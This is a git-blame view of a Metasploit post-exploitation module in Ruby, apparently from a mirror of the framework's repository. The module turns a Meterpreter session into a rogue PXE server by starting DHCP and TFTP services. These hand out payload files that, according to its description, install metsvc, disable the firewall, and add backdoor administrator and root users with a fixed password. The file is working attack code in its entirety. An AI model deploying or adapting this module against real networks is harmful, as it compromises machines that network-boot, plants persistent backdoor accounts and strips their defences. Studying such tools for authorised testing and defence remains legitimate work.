Files
metasploit-gs/modules/post/windows/manage/pxeexploit.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

106 lines
3.7 KiB
Ruby
Raw Normal View History

2015-02-11 12:36:03 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-02-11 12:36:03 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2015-02-11 12:36:03 -06:00
include Msf::Auxiliary::Report
def initialize
super(
2021-09-10 12:53:39 +01:00
'Name' => 'Windows Manage PXE Exploit Server',
'Description' => %q{
2015-02-11 12:36:03 -06:00
This module provides a PXE server, running a DHCP and TFTP server.
The default configuration loads a linux kernel and initrd into memory that
reads the hard drive; placing a payload to install metsvc, disable the
firewall, and add a new user metasploit on any Windows partition seen,
and add a uid 0 user with username and password metasploit to any linux
partition seen. The windows user will have the password p@SSw0rd!123456
(in case of complexity requirements) and will be added to the administrators
group.
See exploit/windows/misc/pxesploit for a version to deliver a specific payload.
Note: the displayed IP address of a target is the address this DHCP server
handed out, not the "normal" IP address the host uses.
},
2021-09-10 12:53:39 +01:00
'Author' => [ 'scriptjunkie' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
lanattacks_add_tftp_file
lanattacks_dhcp_log
lanattacks_reset_dhcp
lanattacks_set_dhcp_option
lanattacks_start_dhcp
lanattacks_start_tftp
lanattacks_stop_dhcp
lanattacks_stop_tftp
]
}
}
2015-02-11 12:36:03 -06:00
)
register_advanced_options(
[
2021-09-10 12:53:39 +01:00
OptString.new('TFTPROOT', [
false, 'The TFTP root directory to serve files from',
File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
]),
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
]
)
2015-02-11 12:36:03 -06:00
end
def run
2023-02-08 13:47:34 +00:00
if !client.lanattacks
print_status('Loading lanattacks extension...')
client.core.use('lanattacks')
elsif datastore['RESETPXE']
print_status('Resetting PXE attack...')
client.lanattacks.dhcp.reset
2015-02-11 12:36:03 -06:00
end
2021-09-10 12:53:39 +01:00
# Not setting these options (using autodetect)
2023-02-08 13:47:34 +00:00
print_status('Loading DHCP options...')
2015-02-11 12:36:03 -06:00
client.lanattacks.dhcp.load_options(datastore)
0.upto(4) do |i|
2021-09-10 12:53:39 +01:00
print_status("Loading file #{i + 1} of 5")
2022-03-10 18:03:35 +00:00
contents = File.binread(::File.join(datastore['TFTPROOT'], "update#{i}"))
2021-09-10 12:53:39 +01:00
client.lanattacks.tftp.add_file("update#{i}", contents)
2015-02-11 12:36:03 -06:00
end
2023-02-08 13:47:34 +00:00
print_status('Starting TFTP server...')
2015-02-11 12:36:03 -06:00
client.lanattacks.tftp.start
2023-02-08 13:47:34 +00:00
print_status('Starting DHCP server...')
2015-02-11 12:36:03 -06:00
client.lanattacks.dhcp.start
2023-02-08 13:47:34 +00:00
print_status('PXEsploit attack started')
loop do
# get stats every 20s
select(nil, nil, nil, 20)
client.lanattacks.dhcp.log.each do |item|
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} " \
"(#{Rex::Socket.addr_ntoa(item[1])})")
report_note({
type: 'PXE.client',
data: item[0].unpack('H2H2H2H2H2H2').join(':')
})
2015-02-11 12:36:03 -06:00
end
2023-02-08 13:47:34 +00:00
rescue ::Interrupt
print_status('Stopping TFTP server...')
client.lanattacks.tftp.stop
print_status('Stopping DHCP server...')
client.lanattacks.dhcp.stop
print_status('PXEsploit attack stopped')
return
2015-02-11 12:36:03 -06:00
end
end
end